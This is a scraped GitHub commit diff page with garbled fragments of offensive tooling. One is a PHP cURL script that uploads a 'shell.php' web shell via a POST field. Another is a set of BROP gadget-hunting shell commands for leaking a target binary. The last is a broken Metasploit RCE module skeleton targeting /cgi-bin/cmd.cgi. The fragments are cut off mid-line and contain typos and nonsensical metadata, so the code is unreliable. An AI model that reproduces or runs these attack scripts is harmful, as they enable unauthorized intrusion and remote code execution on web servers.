You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
'update_file' => "@shell.php" ); // The shell file we want to upload
8
+
9
+
$ch = curl_init(); // Initialize a cURL session
10
+
11
+
curl_setopt($ch, CURLOPT_URL,$url); // Set the target URL to send our request to
12
+
curl_setopt($ch, CURLOPT_POST, 1); // Set the request type as POST (Default value) curl_setopt($ch, CURLOPT__POSTFIELDS,$data); // Set our data array as the POST data
13
+
14
+
$result=curl_exec ($ch); // Execute the cURL session and store its response in a variable
15
+
16
+
echo$result; // Print out the response from our cURL session which should be a success message if everything went alright!
grep -E 'ret|pop|leave|retf' gadgets.txt > stop_gadgets.txt # grep for ret, pop, leave and retf instructions in the gadget list to find stop gadgets # save the results in a separate file for later use.
18
+
# Find brop gadgets
19
+
echo"Finding brop gadgets..."# search for ropchain instructions in the gadget list to find brop gadgets # save the results in a separate file for later use.
# Find a Write function (write / dprintf / puts / ...)
22
+
echo"Finding a Write function (write / dprintf / puts / ...)..."
23
+
strings $target_binary| grep -E 'write|dprintf|puts'> write_functions.txt # search for write, dprintf and puts functions in the binary and save them to a file for later use.
24
+
# Leak the binary for target binaryes and servers
25
+
echo"Leaking the binary for target binaryes and servers..."
# This module requires Metasploit: https: //metasploit.com/download
3
+
# Current source: https: //github.com/rapid7/metasploit-framework
4
+
# #
5
+
6
+
require'msf/core'
7
+
8
+
classMetasploitModule < Msf::Exploit::Remote
9
+
Rank=ExcellentRanking
10
+
includeMsf::Exploit::Remote::HttpClient
11
+
12
+
definitialize(info={})
13
+
super(update_info(info,
14
+
'Name'=>'Ruby for Metasploit Framework Remote Code Execution Vulnerability in /cgi-bin/cmd.cgi',
15
+
'Description'=>% q { This module exploits a remote code execution vulnerability in the /cgi-bin/cmd.cgi script on Ruby for Metasploit Framework systems
16
+
},
17
+
'Author' => ['TcherBer'], # an author or list of authors 'Payload' => {}, # payload info # target 's architecture that will receive the payload
], # targets info(OS version, etc.) # an array of service versions that are vulnerable
22
+
}, # an array of references to related security advisories], # a hash of verification information(e.g.file checksum)), # vulnerability disclosure date), # exploit publish date))
23
+
super(update_info(info, )) end def check vprint_status("Checking target") res = send_request_cgi({
24
+
"uri" => "/cgi-bin/cmd.cgi",
25
+
}) if res && res.code == 200 && res.body = ~/Command Executor/
26
+
return Exploit::CheckCode::Vulnerable
27
+
else return Exploit::CheckCode::Safe end end def exploit print_status("Sending payload...") send_request_raw({
This module exploits a vulnerability in websites that contain vulnerable parameters and functions.It allows an attacker to execute arbitrary bash commands on the target system.
0 commit comments